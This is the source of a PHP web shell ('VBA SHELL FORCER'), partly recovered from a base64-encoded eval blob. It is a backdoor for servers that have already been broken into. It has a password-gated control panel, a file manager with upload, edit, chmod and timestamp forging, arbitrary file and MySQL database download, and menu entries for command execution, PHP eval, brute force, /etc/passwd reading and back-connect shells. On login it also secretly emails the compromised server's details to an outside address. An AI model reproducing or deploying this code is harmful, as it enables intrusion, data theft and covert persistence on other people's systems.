GZwLCJcbiIpOwoJfSBlbHNlIHsKCQllY2hvICJcbiI7Cgl9Cn0KCmZ1bmN0aW9uIHVlKCRzdHIpewoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsKfQoKZnVuY3Rpb24gcCgkc3RyKXsKCWVjaG8gJHN0ci4iXG4iOwp9CgpmdW5jdGlvbiB0YmhlYWQoKSB7CglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsKfQpmdW5jdGlvbiB0YmZvb3QoKXsKCXAoJzwvdGFibGU+Jyk7Cn0KCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7CglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7Cn0KCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7CgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7CgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsKCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOwoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7CgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgewoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7Cgl9IGVsc2UgewoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsKCX0KfQoKZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7CglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgewoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsKCX0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7CglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsKCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7CgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgewoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfSBlbHNlIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfQoJCQl9CgkJfQoJcCgiPC9zZWxlY3Q+Iik7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7Cn0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsKCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsKCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsKCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsKCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsKCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsKCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAyNTsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsKCSEkbmFtZSAmJiAkbmFtZSA9ICdzdWJtaXQnOwoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOwoJcCgnPC9mb3JtPicpOwp9CgpmdW5jdGlvbiBmb3JtZm9vdCgpewoJcCgnPC9mb3JtPicpOwp9CgovLyBFeGl0CmZ1bmN0aW9uIHByKCRhKSB7CgllY2hvICc8cHJlPic7CglwcmludF9yKCRhKTsKCWVjaG8gJzwvcHJlPic7Cn0=';
$b = "base64_decode";
eval /* PHPDeobfuscator eval output */ {
/****************************************\
|* VBA SHELL FORCER - VERSION 2.1 *|
|* Edit & Develop by VBATEAM *|
|* http://vbateam.net *|
|* == Hacking & Security == *|
\****************************************/
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', "/var/www/html/");
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', false);
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', !eregi("phpinfo", $dis_func) ? 1 : 0);
@set_time_limit(0);
foreach (array('_GET', '_POST') as $_request) {
foreach (${$_request} as $_key => $_value) {
if ($_key[0] != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
${$_key} = $_value;
}
}
}
/*================= Info Login ================*/
$admin = array();
$admin['check'] = true;
$admin['pass'] = '1002912b251887b4fe0e5fa1efdbfa06';
// Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== Login =====================*/
if ($action == "logout") {
scookie('vbapass', '', -31536000);
p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
p('<body background=black>');
exit;
}
if ($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == md5($password)) {
scookie('vbapass', md5($password));
// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
$time_shell = "" . date("d/m/Y - H:i:s") . "";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
$to_email = 'xedorac@gmail.com';
$server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
$linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: {$ip_remote} - Time: {$time_shell}";
$header = "From: {$from_shellcode}\r\nReply-to: {$from_shellcode}";
@mail($to_email, $server_mail, $linkcr, $header);
p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
p('<body bgcolor=black>
<BR><BR><div align=center><font color=yellow face=tahoma size=2>Connecting...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
exit;
} else {
$err_mess = '<table width=100%><tr><td bgcolor=#F0F0F0 width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
echo "<table width=100%><tr><td bgcolor=#F0F0F0 width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>";
}
}
if ($_COOKIE['vbapass']) {
if ($_COOKIE['vbapass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== Login =====================*/
$errmsg = '';
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-' . $fileinfo['extension']);
header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
header('Content-Length: ' . filesize($thefile));
@readfile($thefile);
exit;
}
}
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) {
p('<h2>' . mysql_error() . '</h2>');
}
$filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename=' . $filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// Mysql
if ($doing == 'mysqldown') {
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('{$mysqldlfile}');");
if (!$result) {
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//Download SQL
q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed ' . mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-' . $fileinfo['extension']);
header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
header("Accept-Length: " . strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php
echo "The Legend of Vietnamese Hacker World";
?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #74A202;
border-top: 1px solid #74A202;
border-right: 1px solid #74A202;
border-bottom: 1px solid #74A202;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
<tr>
<td align="center" valign=center>
<div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
</div>
</td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head_small">
<td width=100%>
<table width=100%><tr class="head_small"><td>
<span style="float:left;"> <?php
echo "Hostname: " . $_SERVER['HTTP_HOST'] . "";
?> | <span>[ Server IP: <?php
echo "<font color=yellow>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>";
?> - Your IP: <?php
echo "<font color=yellow>" . $_SERVER['REMOTE_ADDR'] . "</font>";
?> ] </span> | <a href="javascript:goaction('logout');"><font color=red> Logout</font></a></span> <br />
<?php
$curl_on = @function_exists('curl_version');
$mysql_on = @function_exists('mysql_connect');
$mssql_on = @function_exists('mssql_connect');
$pg_on = @function_exists('pg_connect');
$ora_on = @function_exists('ocilogon');
echo $safe_mode ? "Safe_mod: <b><font color=green>ON</font></b> - " : "Safe_mod: <b><font color=red>OFF</font></b> - ";
echo "PHP version: <b>" . @phpversion() . "</b> - ";
echo "cURL: " . ($curl_on ? "<b><font color=green>ON</font></b> - " : "<b><font color=red>OFF</font></b> - ");
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if ($mysql_on) {
echo "<font color=green>ON</font></b> - ";
} else {
echo "<font color=red>OFF</font></b> - ";
}
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if ($mssql_on) {
echo "<font color=green>ON</font></b> - ";
} else {
echo "<font color=red>OFF</font></b> - ";
}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if ($pg_on) {
echo "<font color=green>ON</font></b> - ";
} else {
echo "<font color=red>OFF</font></b> - ";
}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if ($ora_on) {
echo "<font color=green>ON</font></b>";
} else {
echo "<font color=red>OFF</font></b><BR>";
}
echo "Disable functions : <b>";
if ('' == ($df = @ini_get('disable_functions'))) {
echo "<font color=green>NONE</font></b><BR>";
} else {
echo "<font color=red>{$df}</font></b><BR>";
}
echo "<font color=white>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
echo "<font color=white>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=white>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
?>
</td></tr></table></td>
</tr>
<tr class="alt1">
<td width=10%>
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php
if (!IS_WIN) {
?> | <a href="javascript:goaction('brute');">Brute</a> <?php
}
?>
<?php
if (!IS_WIN) {
?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php
}
?>
<?php
if (!IS_WIN) {
?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
}
?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name' => 'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && ($dir = '.');
$nowpath = getPath(SA_ROOT, $dir);
if (true) {
$dir = "./";
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// Non-writeable
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// Delete dir
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile . ' directory does not exist');
} else {
m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
}
} elseif ($newdirname) {
$mkdirs = $nowpath . $newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created ' . (@mkdir($mkdirs, 0777) ? 'success' : 'failed'));
@chmod($mkdirs, 0777);
}
} elseif ($doupfile) {
m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
} elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename, 'w');
m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
@fclose($fp);
} elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm, 8, 10);
m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
}
} elseif ($oldname && $newfilename) {
$nname = $nowpath . $newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname . ' has already existed or original file does not exist');
} else {
m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
}
} elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
}
} elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
}
} elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile) . ' does not exist');
} else {
$time = strtotime("{$year}-{$month}-{$day} {$hour}:{$minute}:{$second}");
m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
}
} elseif ($doing == 'downrar') {
if ($dl) {
$dfiles = '';
foreach ($dl as $filepath => $value) {
$dfiles .= $filepath . ',';
}
$dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
$dl = explode(',', $dfiles);
$zip = new PHPZip($dl);
$code = $zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: ' . strlen($code));
header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
} elseif ($doing == 'delfiles') {
if ($dl) {
$dfiles = '';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file have finished??choose ' . count($dl) . ' success ' . $succ . ' fail ' . $fail);
} else {
m('Please select file(s)');
}
}
// Function Newdir
formhead(array('name' => 'createdir'));
makehide('newdirname');
makehide('dir', $nowpath);
formfoot();
formhead(array('name' => 'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir', $nowpath);
formfoot();
formhead(array('name' => 'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir', $nowpath);
formfoot();
formhead(array('name' => 'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir', $nowpath);
formfoot();
formhead(array('name' => 'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && ($free = 0);
$all = @disk_total_space($nowpath);
!$all && ($all = 0);
$used = 0;
$used_percent = @round(100 / ($all / $free), 2);
p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php
echo $dir_writeable;
?>, <?php
echo getChmod($nowpath);
?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
echo $nowpath;
?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>');
if (false) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
foreach ($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
} else {
p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
// Get path
$dirdata = array();
$filedata = array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// Open dir
$dirs = @opendir($dir);
while ($file = @readdir($dirs)) {
$filepath = $nowpath . $file;
if (@is_dir($filepath)) {
$dirdb['filename'] = $file;
$dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
$dirdb['dirchmod'] = getChmod($filepath);
$dirdb['dirperm'] = getPerms($filepath);
$dirdb['fileowner'] = getUser($filepath);
$dirdb['dirlink'] = $nowpath;
$dirdb['server_link'] = $filepath;
$dirdb['client_link'] = ue($filepath);
$dirdata[] = $dirdb;
} else {
$filedb['filename'] = $file;
$filedb['size'] = sizecount(@filesize($filepath));
$filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
$filedb['filechmod'] = getChmod($filepath);
$filedb['fileperm'] = getPerms($filepath);
$filedb['fileowner'] = getUser($filepath);
$filedb['dirlink'] = $nowpath;
$filedb['server_link'] = $filepath;
$filedb['client_link'] = ue($filepath);
$filedata[] = $filedb;
}
}
// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach ($dirdata as $key => $dirdb) {
if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
p('<td nowrap>' . $dirdb['mtime'] . '</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if ($dirdb['filename'] == '..') {
p('<tr class=fout>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
makehide('action', 'file');
makehide('thefile');
makehide('doing');
makehide('dir', $nowpath);
$file_i = '0';
foreach ($filedata as $key => $filedb) {
if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
$fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
$thisbg = bg();
